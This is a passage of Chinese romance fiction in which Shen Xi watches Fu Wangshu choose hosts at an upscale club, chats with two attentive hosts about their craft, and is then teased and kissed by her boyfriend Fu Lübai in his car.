而沈晞也算开了眼,真就叫来一批,成行进来,穿着大概是这里配的统一的制服,不得不说,傅大小姐不愧是老牌大小姐,真的很会享受找地方,就连这种地方,统一的制服,也不见任何的低略感,布料上乘,裁剪的也很合身,穿着还挺像那么回事。
沈晞看的有点惊呆,差异得很,傅望舒像是个老手,就那样没什么情绪的坐在包厢柔软的沙发里,淡淡地扫视着进来的一批又一批人,看上顺眼的随手那么一指,然后便挥挥手让人下去再换,没被选中的人则很有礼貌的向她们鞠躬告退。
那气定神闲的样子,哪里还轮得上自己和傅律白像,她和傅律白才像好吧。但转念一想,就被自己这个想法逗到,人家本来就是兄妹,可不像嘛。
但真的看不出来啊,傅大小姐竟然这么深藏不露,要是她改天什么时候不喜欢傅律白了,她一定和她来好好潇洒,真爽啊。
但现在,她坐在两位帅哥中间,拿过左边帅哥手中喂过来的葡萄——主要是她实在是觉得喂起来太别扭了,影响她吃东西的速度和节奏。
实在是也体会到了傅律白那种坐怀不乱的心态,没感觉啊,是真的没感觉。
帅是帅,但就是,跟大兄弟一样,毫无半点别的感觉。
但两位兄弟真的职业素养不错,很快就抓到了她吃东西的频率,交错着给她左边递水果,右边递喝的——果汁,倒不是怕傅律白,就是她也疼怕了,最近在修身养性。间或,两位兄弟还会瞅准时间,给她递点坚果小点心什么的,甚至她自己才刚脑子里想要什么,都没给眼神呢,就有人递了过来。
沈晞觉得神了,问他们怎么练的。
那两位也看出沈晞没什么别的想法,不是来这消费的,只管正常伺候好就行。也客气的说着,“也不能全都猜对,但我们会从一进来那一刻,就观察着客户的脾性秉性、性格,和一举一动,就好比,您一般会吃两颗草莓,就想就两个坚果,再喝一口椰奶。”
沈晞愣住了,她自己都没发现自己还吃东西这么有规律,又觉得,果然什么行都不好做啊,又行行有其门道。
这两人又说:“其实也不是完全这个规律,只是我们给了您,您也会下意识接了,属于引导型,然后双向奔赴了。”
沈晞惊讶的看着他们,“你们这就把内幕告诉我啦?”
那两人笑,“一看您就和我们这种地方不合,是纯陪同来的,说了应该也没关系吧?”
像是在回答,又像是在询问她,是不是没事,是不是会得罪。
要不怎么说,陪这样大少爷大小姐久了,身边人也都练就了一身说话的好本领,就像傅律白身边的那些人也是。
但傅望舒明显是真在这消费的,她旁边也点了两个人,傅望舒给自己选的,口味挺丰富,一个看上去长得挺高冷,一个看上去长得挺野,好家伙,没一个是和程开霁一个口味的。
程开霁其实也属于那种成熟稳重型的,但不像傅律白那么疏淡,多了几分温和。
这丫头,这是完全体验新口味么这是?
但就是感觉
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这体验感不太投入啊,人家喂酒陪着她聊天说话,也不见她怎么搭理,就漫不经心地喝着小酒,你别说,还真挺有那个味道。就是生来就在顶尖上的那波人,那种高不可攀的矜贵疏冷感。
沈晞看得有点呆了,真看不出啊傅小舒,那边两个兄弟收了钱,也没闲着,不能白赚这一笔,主要是也太好赚了,客户也不提什么过分要求,于是尽职尽责的,估算着什么该喝饮料了,就拿给她,不然这笔钱赚着都不踏实。
沈晞正看着愣神呢,也没注意这边,只觉得有什么在脸这边,她下意识往那边侧了侧,但视线还是没离开傅望舒那边,大兄弟那就尽职尽责的,微微侧身,将饮料喂到了嘴边,沈晞看呆了我去,傅小舒你都靠人怀里喝了,你你、她一边在“这合适么,不已经是程开霁未婚妻了么”,一边在“我去,好会啊”中来回跳跃着,几乎下意识地就低头喝。
那东西都到嘴边了,怪挡视线的。
于是傅律白进来,就看到的这么一幕——那人几乎环着沈晞,喂喝的,而被环着的人,低着头乖乖地就喝了,比他喂东西喝的时候乖多了。
“很会享受嘛茜茜。”
!
这和想象中的简直一模一样啊,沈晞以为自己出现了幻听,下意识地回头,果然看到人站在不远处,眸色淡淡似笑非笑的看着她。
你看,连表情都一模一样。
有的时候,会觉得两个人太了解熟悉彼此了,确实会没啥意思。
但她猛然想到这什么,傅小舒这样,不太好让她哥看到吧,她连忙站起身,走到傅律白身边,试图挡住他的视线打掩护,谁知道傅律白只淡淡对她笑,“享受够了么?”
那温和的样子,就像是再说,没够他为她继续续费。
多!感!动!啊——!
她男朋友,看她左右拥抱的享受,甚至还会续费诶:)
沈晞觉得没意思,没什么情绪的说:“享受够了。”
她享受了个鬼!
“那走吧。”傅律白神色如常的淡声说,说完拉着她就往外走。
“诶诶,望舒还在里面欸。”沈晞边走,边回头看着里面说。
“不是享受够了么,”傅律白看着她笑,半拖着调子说,“怎么看着还有点恋恋不舍呢?”
两个人已经坐进了车里。
关上了门。
我哪儿是不舍,是你妹妹还在里面啊!沈晞刚想说,傅律白却已欺身过来,和关门的动作一起行云流水,流畅的沈晞都愣住了。
沈晞看着他,距离太近了,她要收回刚刚那句,太熟了没意思的话,他呼出来的鼻息几乎洒在了她的脸上,让她有点紧张的下意识吞咽了下喉咙。
下一秒,就听见他说:“这几天看你不舒服,没折腾你,你是不是欠收拾了?”
他的语气表情仍是很淡,但那淡淡的睨过来,就真的好像再教训她,很有股说不出的禁欲味道来,让她全身都有些发麻。
但他的眼神其实挺淡,她知道他不是真的吃醋,但这声势动静搞的,就还挺是那么回事,她有点不自在又觉得有点好笑,说:“干嘛啊,你又不是真的在意。”
傅律白笑了下,他这次笑得倒是松弛下来,说:“我确实不怎么在意,但是你都moneyboy我总得有点反应,有点表示才对。”
“什么——?”还怪洋气的。
但是她的话音还未落下,温热的吻已经落了下来,将她后面的话给封住了。